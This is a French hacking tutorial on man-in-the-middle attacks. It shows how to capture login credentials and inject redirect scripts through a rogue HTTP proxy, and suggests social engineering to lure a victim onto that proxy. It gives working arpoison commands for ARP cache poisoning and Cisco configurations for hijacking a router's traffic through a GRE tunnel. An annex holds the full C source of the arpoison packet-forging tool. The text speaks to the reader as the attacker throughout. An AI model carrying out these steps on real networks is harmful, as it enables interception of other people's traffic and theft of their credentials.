Vous êtes ici : Accueil  > > Papers > >  ManInTheMiddle     Page précédente ;

Man In The Middle

Présentation et introduction aux attaques de type "Homme Du Milieu"

Par BeRgA

ManInTheMiddle

Table des matières

I Introduction

Que ce soit sur Internet, ou au sein d'un réseau local, les données émises par une machine transitent par un certain nombre d'équipements réseau, hub, switch, routeur, répéteur, etc... Ces équipements voient donc passer un grand nombre d'informations, plus ou moins critiques, plus ou moins bien protégées. A tel point qu'il peut devenir très intéressant pour quelqu'un souhaitant récupérer certaines données de compromettre ces équipements afin de récupérer le flux qu'ils gèrent.

Rappelons que toute machine connectée à un réseau agit «en aveugle», elle n'est au courant de ce qui se passe autour d'elle que par l'intermédiaire des paquets transitant par elle. Il est impossible pour une machine de savoir ce qui ce passe à telle et telle machine si elle n'est pas située sur le chemin des paquets transitant entre ces dernières. Quiconque veut récupérer des données transitant sur un réseau est alors dans l'obligation de rediriger le flux vers sa machine, ou du moins une machine qu'il contrôle et sur laquelle est installée un sniffer.

Nous allons voir dans la suite de ce paper qu'il n'est pas difficile de compromettre ces équipements, afin qu'il redirige les données traitées vers une machine contrôlée par le hacker. Ces types d'attaques sont appelés de type «Man In The Midlle», ou «Homme du milieu», puisqu'elles consistent à rediriger un flux de données de manière à placer le voyou, hacker, pirate, bougre, plaisantin, appelez le comme vous voulez, entre les deux machines souhaitant communiquer, pour ensuite sniffer leurs échanges, et éventuellement les modifier.

II Exemple applicatif restreint

Nous allons, afin de mettre correctement les choses au clair pour ceux qui se sentiraient un peu perdu, illustrer ce type d'attaque en mettant en place une redirection de flux HTTP. (pour Hypertext Transfer Protocol)

II.1 Mise en place

Un parfait exemple de configuration permettant une attaque du type ManInTheMiddle est l'utilisation d'un proxy HTTP. Petit rappel sur le fonctionnement d'un proxy : c'est un serveur qui va relayer vos requêtes HTTP vers le serveur auxquelles elles sont destinées. Il est donc placé entre vous et le serveur web que vous visitez. Parfait pour notre exemple. En effet, par ce dernier transiteront les paquets émis du client vers le serveur, mais aussi les réponses du serveur. C'est donc grâce à un proxy HTTP que nous allons effectuer les essais pratiques qui suivent. Mais au fait, vous utilisez un proxy HTTP ?

Si oui, avezvous la certitude que vos paquets ne sont pas altérés par quelqu'un qui contrôlerait ce dernier ?... Mais non, ne sombrez pas dans la paranoïa, c'est très improbable... Mais pas impossible ;).

Pour la suite, vous allez avoir besoin d'un serveur proxy. Téléchargez donc Achilles (disponible un peu partout, cherchez sur Google), qui est un serveur offrant la possibilité de modifier les paquets, et de les transmettre quand vous voulez.

Vous devriez voir une fenêtre "Intercept Modes". C'est ici que vous allez configurer le serveur.

Petit détail des options disponibles :
Intercept mode ON : Lance la capture des trames HTTP.
Intercept Client Data : Intercepte les paquets émis par le client vers le serveur.
Intercept Server Data : Intercepte les paquets émis par le serveur vers le client.
Log to File : Log les résultats dans un fichier.
Ignore .jpg/.gif : Laisse passer les requêtes de téléchargement d'images, sans que vous ayez à valider à chaque fois.
Vous pouvez également modifier le port utilisé par le serveur, et le délai d'attente du client et du serveur.
Une fois le serveur configuré, configurez votre browser pour qu'il utilise Achilles comme proxy (adresse : 127.0.0.1; port : celui spécifié dans la configuration du serveur).

Bien tout est près pour passer à la pratique.

II.2 Mise en pratique

Replaçons correctement le décor : ici, le proxy est placé sur la même machine que le client.

Imaginez-vous qu'il est placé entre le client et le serveur quelque part sur Internet. Ainsi, ce que vous taperez dans votre browser correspondra aux manipulations effectuées par la victime, seul ce que vous ferez avec le proxy correspondront à ce que fait l'attaquant en temps normal. Seul le proxy est contrôlé par l'attaquant.

Bien évidemment, l'attaquant doit s'assurer que la victime a configuré son browser pour utiliser la machine qui fait tourner Achilles comme proxy web. Un peu de Social Engineering ne peut pas faire de mal pour s'en assurer :

Attaquant : Waahou je viens de trouver une liste de proxys HighAnonymity super rapides !

Victime : Ah ouais ?

Attaquant : Vaip. Tiens essayes celui-là : x.x.x.x:port

Et le tour est joué \o/

Lancez le proxy (le bouton avec une flèche), cochez les options "Intercept mode ON", "Intercept Client Data", et "Ignore .gif/.jpg" (facultatif, mais vivement conseillé), ouvrez votre browser, et rendezvous sur un site qui demande une identification par mot de passe.

Regardez votre proxy. Vous devriez voir une requête en attente. Laissez-là passer ("Send").

Une fois la page entièrement affichée, et toutes les requêtes d'affichage passées, entrez un login et un pass dans la zone d'identification, et validez. Nous avons utilisé testlogin et test_pass.

Dans la fenêtre du proxy, vous devriez voir une requête POST qui ressemble à ça : (cliquer pour agrandir)

requête POST

Et voilà, vous avez obtenu le login et le pass de votre victime. Les attaques du types ManInTheMiddle sont donc très efficaces pour obtenir des informations confidentielles concernant la victime.

Mais d'autres possibilités existent, entre autre le fait de rediriger l'utilisateur vers un autre site.

Dans la fenêtre du proxy, cochez les options "Intercept mode ON", "Intercept Server Data", "Ignore .jpg/.gif". Ouvrez votre browser et tapez l'adresse d'une page quelconque.
Regardez votre proxy : vous y voyez le code html de la page visitée. Effacez le tout, et remplacez par exemple par :

<html><script>window.location=''http://www.google.fr''</script></html>

Laissez passer la requête, et observez votre browser. La page principale de Google s'affiche. Il est donc possible de rediriger l'utilisateur vers n'importe quelle page, y compris une qui aurait été préparé à l'avance.

Cet exemple illustre le principe de l'attaque de type «Man In The Middle» au niveau applicatif restreint à la navigation web. Espérons qu'il vous aura permis de comprendre l'intérêt de ces attaques pour quelqu'un qui souhaite, pour une raison ou une autre, interférer avec les communications numériques d'une personne.

Mais leur champ d'application réel est beaucoup plus large. C'est ce que nous allons voir dans la suite de l'article.

III MitM en réseau local

La puissance d'une attaque de type «Man In The Middle» atteint son paroxysme lorsqu'elle est mise en place sur un LAN (pour Local Access Network). Elle permet alors la récupération, et éventuellement l'altération de n'importe quel trafic circulant sur le réseau. Il devient alors possible de récupérer quantité de mots de passes transmis en clair, des numéros de session (pouvant par exemple servir à l'établissement d'une attaque par spoofing IP) (pour Internet Protocol), et bien d'autres.

III.1 Rapels sur les réseaux locaux

III.1.a Adresses MAC

Avant de commencer, rappelons quelques bases sur les réseaux locaux.

Chaque machine connectée à un réseau possède une adresse IP par réseau, et une adresse MAC (pour Media Access Control).
L'adresse IP est attribuée par l'administrateur, ou via DHCP, et identifie la machine sur le réseau. C'est une adresse utilisée par la couche réseau du modèle TCP/IP (pour Transmission Control Protocol/Internet Protocol).
L'adresse MAC, quant à elle, est une adresse désignant l'interface réseau «physique».
Chaque carte réseau possède une adresse MAC unique, codée sur 48 bits, et représentée sous la forme de 6 couples de digits hexadécimaux, séparés par ':'.
Elle est accessible via la commande ifconfig sous Linux, ou ipconfig /all sous Windows.
Par exemple, l'interface réseau eth1 de ma machine possède l'adresse MAC 00:13:D4:C7:FD:A4 :
berga@PianKhin:~$ ifconfig|grep eth1
eth1 Lien encap:Ethernet HWaddr 00:13:D4:C7:FD:A4
Les 3 premiers couples désignent le fabricant de la carte, les 3 autres la carte ellemême.
Cette adresse est utilisée par la couche ''liaison'' du modèle TCP/IP, qui regroupe les couches Liaison et Physique du modèle OSI.

III.1.b Protocole ARP

L'adresse IP est une adresse utilisée par la couche réseau. Cela signifie que chaque équipement du LAN doit faire remonter les paquets qu'il traite jusqu'à ce niveau pour savoir s'il lui est adressé, ou s'il doit le transmettre, et le cas échéant, à qui le transmettre. Les pertes en performance et temps de traitement deviennent vite non négligeables pour des réseaux de grande envergure. Un protocole de niveau liaison a donc été développé pour éviter ce traitement par la couche IP de chaque paquet.

C'est le protocole ARP (Adresse Resolution Protocol). Il établit avant chaque connexion un lien entre l'adresse IP d'une machine et son adresse MAC.

Dans un réseau local, les paquets peuvent donc être traités par les équipements directement. ARP lie une adresse IP à son adresse MAC de la façon suivante : la machine broadcast (i.e. diffuse à l'ensemble du réseau) un message disant Qui a l'adresse IP x.x.x.x ? merci de me répondre, j'ai l'adresse IP y.y.y.y ».

Le paquet ARP contient 9 champs d'information, dont son adresse MAC. Chaque machine du réseau va recevoir ce paquet, le remonter jusqu'à la couche IP.

Les machines à qui le message n'est pas destiné vont le supprimer, et seule x.x.x.x va continuer le traitement. Elle va noter l'adresse MAC de y.y.y.y, et lui répondre avec un message du genre C'est moi qui ait l'adresse IP y.y.y.y, mon adresse MAC est a:b:c:d:e:f.

Une capture par Ethereal montre très bien le cheminement de l'opération :

Source Destination Protocol Info

172.16.23.1 172.16.23.63 ARP Who has 172.16.23.63? Tell 172.16.23.1

172.16.23.63 172.16.23.1 ARP 172.16.23.63 is at 00:13:d4:c7:fd:a4

Et l'étude du contenu des paquets montre que chaque machine dispose à la fin de l'échange du couple adresse IP/adresse MAC de son interlocutrice :

Address Resolution Protocol (request)

Hardware type: Ethernet (0x0001)

Protocol type: IP (0x0800)

Hardware size: 6

Protocol size: 4

Opcode: request (0x0001)

Sender MAC address: 172.16.23.1 (00:01:01:f7:2f:90)

Sender IP address: 172.16.23.1 (172.16.23.1)

Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)

Target IP address: 172.16.23.63 (172.16.23.63)

Address Resolution Protocol (reply)

Hardware type: Ethernet (0x0001)

Protocol type: IP (0x0800)

Hardware size: 6

Protocol size: 4

Opcode: reply (0x0002)

Sender MAC address: 172.16.23.63 (00:13:d4:c7:fd:a4)

Sender IP address: 172.16.23.63 (172.16.23.63)

Target MAC address: 172.16.23.1 (00:01:01:f7:2f:90)

Target IP address: 172.16.23.1 (172.16.23.1)

Les deux machines vont alors stocker ce couple dans un cache ARP, ce qui leur évite de répéter l'opération pendant la durée de la connexion. Un cache inactif est effacé au bout d'une trentaine de secondes.

III.2 ARP Poisonning

Les rappels de base étant faits, on peut maintenant s'intéresser à notre sujet : les attaques ManInTheMiddle en réseau local.

Si l'on a rappelé le principe du protocole ARP, c'est parce que c'est principalement lui, et son utilisation détournée, qui va nous permettre de détourner les flux de données au sein d'un réseau local. En effet, à sa création, il n'a été prévu aucun système de vérification des requêtes émises et reçues. Cela signifie que l'on peut envoyer des requêtes à une machine de façon à ce qu'elle modifie son cache ARP.

Supposons un réseau simple, constitué de deux machines A et B accédant à Internet par le biais d'un routeur R.

Lorsque A veut se connecter, elle va actualiser sa table ARP pour y placer le couple IP/MAC du routeur.

Le routeur fera de même avec le couple d'adresses du serveur auquel A veut se connecter.

On souhaite détourner ce flux de façon à ce qu'il passe par B.
Il suffit d'envoyer des requêtes ARP Reply à R, dans lesquelles on stipule que la machine avec l'IP de A possède l'adresse MAC de B.
R va actualiser sa table, et enverra alors les paquets destinés à A vers B.
En faisant de même avec B (on envoie des requêtes stipulant que la machine avec l'IP de R possède l'adresse MAC de B), alors tout le flux transitant entre A et R passera désormais par B.
Il suffit d'activer le routage sur B pour laisser la connexion active.

L'envoi de paquets ARP peut se faire soit par l'intermédiaire de forgeurs de paquets (WinJect, hping2 entre autres), soit en utilisant des outils crées dans ce but. Arpoison en est un exemple ( site http://arpoison.sourceforge.net)

B se voit alors en mesure d'intercepter et modifier n'importe quel flux de données émis ou reçu par A. Lorsqu'on connait le nombre de protocoles ne cryptant pas leurs paquets, ou l'importance de la récupération des ISNs en vue de l'établissement d'une attaque par IP Spoofing, la position acquise ici est plus que confortable ;)

III.3 Ilustration pratique

Rien ne vaut une bonne illustration pour remettre les choses au clair. La situation, quelle est-elle ?

Nous disposons d'un réseau comme suit :

reseau

Le but de la manipulation est de détourner le flux de A vers le routeur afin qu'il passe par B.

Nous devons tout d'abord faire croire au routeur que la machine avec l'IP 172.16.23.64 a pour adresse MAC 02:0E:A6:48:E2:47. Avec arpoison, cela se traduit par la commande suivante :

root@Piankhin#arpoison -i eth0 - d172.16.23.1 -s172.16.23.64 -t00: 01:01:F7:2F:90 -r 02:0E:A6:48:E2:47 -n1

Nous forgeons ainsi un paquet ARP Reply que nous envoyons au routeur (Se reporter au man page de arpoison pour plus de détails). Ce dernier adaptera alors sa table RAP en fonction des informations nouvelleement acquises, et nous recevrons donc alors tous les paquets émis du routeur en direction de A. Il faut ensuite faire de même pour rediriger les paquets émis par A en direction du routeur :

root@PianKhin#arpoison -i eth0 -d172.16.23.64 -s172.16.23.1 -t00: 13:D4:C7:FD:A4 -r 02:0E:A6:48:E2:47 -n1

Bien entendu, pour ne pas couper la connexion de A, il est nécessaire d'activer le routage sur B :

root@PianKhin#echo 1 > /etc/sys/net/ipv4/ip_forward

Vous êtes alors placés sur le chemin entre A et le routeur, et en mesure d'intercepter tout flux transitant entre eux deux. Vous êtes «l'Homme du Milieu» ;)

IV Détourner un flux

Nous avons utilisé dans ce paper une technique de détournement se basant sur le protocole ARP. Il existe de nombreuses autres techniques pour parvenir à ce but. Elles sont bien s ouvent fondées sur l'utilisation frauduleuse d'un protocole. Nous en avons vu l'exemple avec le protocole ARP. Les autres techniques ne seront pas développées ici, ce n'est pas le but de l'article, seulement présentées pour ouvrir l'esprit de nos lecteurs :)

IV.1 Spanning Tree Protocol

STP est un protocole de gestion de réseau. Il permet de répartir les routeurs présents selon une certaine hiérarchie, réadaptée régulièrement en fonction de la charge des équipements, de leur état, etc...Cette réadaptation se fait par le biais de requêtes de niveau liaison. Il est donc possible de compromettre cette hiérarchie de routage pour placer un routeur compromis haut dans l'organisation, ce qui permet le sniffing de grand nombre d'informations.

Je vous redirige naturellement vers l'article de Phrack #61 traitant de cette technique :
http://www.phrack.org/show.php?p=61&a=12.

IV.2 GRE Tunneling

Une autre technique consiste à utiliser un routeur compromis comme point de lancement d'un détournement. On configure ce routeur pour rediriger un flux à travers un tunnel GRE, soit vers un autre routeur que l'on contrôle, soit vers une machine.

IV.2.a initialisation du tunel

On accède à distance au routeur à compromettre, et on le configure ainsi :

• Target#conf t

Target(config)#int tunnel0

Target(configif)#ip address 172.16.23.2 255.255.255.0

Target(configif)#tunnel source eth0/1

Target(configif)#tunnel dest 172.16.22.1 // routeur attaquant

Target(configif)#tunnel mode gre ip

Target(configif)#exit

Target(config)#exit

Target#

On crée une interface tunnel entre le routeur et notre machine (172.16.23.65), à laquelle on assigne l'adresse 172.16.23.2.

On fait de même sur le routeur de l'attaquant :

• Attacker#conf t

Attacker(config)#int tunnel0

Attacker(configif)#ip address 172.16.23.3 255.255.255.0

Attacker(configif)#tunnel source eth0/1

Attacker(configif)#tunnel dest 172.16.23.1

Attacker(configif)#tunnel mode gre ip

Attacker(configif)#exit

Attacker(config)#exit

Attacker#

A ce moment, le tunnel GRE est correctement établi entre le routeur de l'attaquant et le routeur compromis.

IV.2.b Routage du trafiic

Plusieurs politiques de routage peuvent alors être envisagées. Par exemple, en configurant ainsi le routeur attaquant :

• Attacker#conf t

Attacker(config)#accesslist 100 permit ip any any

Attacker(config)#routemap sendtrafficin

Attacker(configroutemap)#match ip address 100

Attacker(configroutemap)#set ip nexthop 172.16.23.65 //machine

Attacker(configroutemap)#exit

Attacker(config)#int tunnel0

Attacker(configif)#ip policy routemap sendtrafficin

Attacker(configif)#exit

Attacker(config)#routemap sendtrafficout

Attacker(configroutemap)#match ip address 100

Attacker(configroutemap)#set ip nexthop 172.16.23.2

Attacker(configroutemap)#exit

Attacker(config)#int eth0/0

Attacker(configif)#ip policy routemap sendtrafficout

Attacker(configif)#exit

Attacker(config)#exit

Attacker#

La totalité du trafic sera redirigée vers une machine, qui permettra la capture via ethereal, tcpdump, ou autre, et réinjectée dans le réseau. Les politiques de routage et application de cette méthode sont nombreuses, et feront l'objet d'un article dédié. Nous ne souhaitions ici que présenter brévement les possibilités offertes.

V Annexes

V.1 Arpoison

Code source d'arpoison, à compiler avec gcc et libnet 1.1.x
	/* arpoison v0.6 Steve Buer, updated and modified by John Fastabend */

	#include <libnet.h>

	#include <errno.h>

	#include <unistd.h>

	#include <stdio.h>

	#define ARP_REPLY 2

	#define ARP_REQUEST 1

	void usage()

	{

	printf("Usage: -i <device> -d <dest IP> -s <src IP> -t <target MAC> -r <src MAC> "

	"[-a] [-w time between packets] [-n number to send]\n"); 

	exit(1);

	}

	int main(int argc, char *argv[])

	{

	int n,c,z,o,op_code,wait;

	int packets_to_send = 0;

	int packets_sent = 0;

	int count = 0;

	u_long SrcIP, DstIP;

	u_char *device;

	char err_buf[LIBNET_ERRBUF_SIZE];

	unsigned int p[6];

	u_char DstHW[6];

	u_char SrcHW[6];

	

	/* added for libnet 1.1 */

	libnet_t *l;

	libnet_ptag_t eth_tag;

	libnet_ptag_t arp_tag;

	/* init */

	eth_tag = arp_tag = LIBNET_PTAG_INITIALIZER;

	wait = 1;

	op_code = ARP_REPLY;

	device = "eth0";
	
	SrcIP = DstIP = 0;

	SrcHW[0] = DstHW[0] = 'N';

	if (getuid()) {

	printf("Must be run as root\n");

	exit(1);

	}

	while ((z = getopt(argc, argv, "ad:f:hi:r:n:s:t:w:")) != EOF) {

	switch (z) {

	case 'h':

	usage();

	break;

	case 'd':

	DstIP = inet_addr(optarg);

	if (DstIP == -1)

	{

	printf("Not a valid ip\n");

	exit(1);

	}

	break;

	case 's':

	SrcIP = inet_addr(optarg);

	if (SrcIP == -1)

	{

	printf("Not a valid ip\n");

	exit(1);

	}

	break;

	case 'i':

	device = optarg;

	break;

	case 't':

	n = sscanf(optarg, "%x:%x:%x:%x:%x:%x",

	&p[0],

	&p[1],

	&p[2],

	&p[3],

	&p[4],

	&p[5]);

	if (n != 6) {

	printf("error parsing MAC\n");

	exit(1);

	}

	for ( c = 0 ; c < 6 ; c++)

	DstHW[c] = p[c];

	break;

	case 'r':

	n = sscanf(optarg, "%x:%x:%x:%x:%x:%x",

	&p[0],

	&p[1],

	&p[2],

	&p[3],

	&p[4],

	&p[5]);

	if (n != 6) {

	printf("error parsing MAC\n");

	exit(1);

	}

	for ( c = 0 ; c < 6 ; c++)

	SrcHW[c] = p[c];

	break;

	case 'w':

	wait = atoi(optarg);

	break;

	case 'n':

	packets_to_send = atoi(optarg);

	break;

	case 'f':

	o++;

	break;

	case 'a':

	op_code = ARP_REQUEST;

	break;

	default:

	usage();

	} // switch

	} // while

	if(SrcIP == 0 || DstIP == 0 || SrcHW[0] == 'N' || DstHW[0] == 'N')

	usage();

	l = libnet_init(LIBNET_LINK, device, err_buf );

	if (l == NULL) {

	printf("libnet_init: error %s\n", err_buf);

	exit(1);

	}

	/* ARP header */

	arp_tag = libnet_build_arp(

	1, /* hardware type */

	0x0800, /* proto type */

	6, /* hw addr size */

	4, /* proto addr size */

	op_code, /* ARP OPCODE */

	SrcHW, /* source HW addr */

	(u_char *)&SrcIP, /* src proto addr */

	DstHW, /* dst HW addr */

	(u_char *)&DstIP, /* dst IP addr */

	NULL, /* no payload */

	0, /* payload length */

	l, /* libnet tag */

	0); /* ptag see man */

	if (arp_tag == -1)

	{

	perror("libnet_build_arp");

	exit(1);

	}

	/* ethernet header */

	eth_tag = libnet_build_ethernet(

	DstHW, /* dst HW addr */

	SrcHW, /* src HW addr */

	0x0806, /* ether packet type */

	NULL, /* ptr to payload */

	0, /* payload size */

	l,

	0); /* ptr to packet memory */

	if (eth_tag == -1)

	{

	perror("libnet_build_ethernet");

	exit(1);

	}

	for (;;) {

	n = libnet_write(l);

	if (n == -1

	)

	printf("libnet write error");

	count++;

	printf("ARP %s %d sent via %s\n", (op_code == ARP_REQUEST) ?

	"request" : "reply", count, device);

	if (packets_to_send) {

	packets_sent++;

	if (packets_sent >= packets_to_send)

	break;

	}

	sleep(wait);

	}

	libnet_destroy(l);

	return 0;
	
	

VI Licence

Ce document est placé sous licence Creative Commons. Sa reproduction et sa diffusion sont autorisées. Toute utilisation commerciale de ce paper est interdite.
Le code source d'arpoison est placé sous licence GNU/GPL par son développeur.

Lire ou télécharger le document au format pdf, poids 922 ko : ManInTheMiddle ;

BeRgA

Contacter l'auteur ;

Page précédente  |   Accueil  |   Allez Up ! ;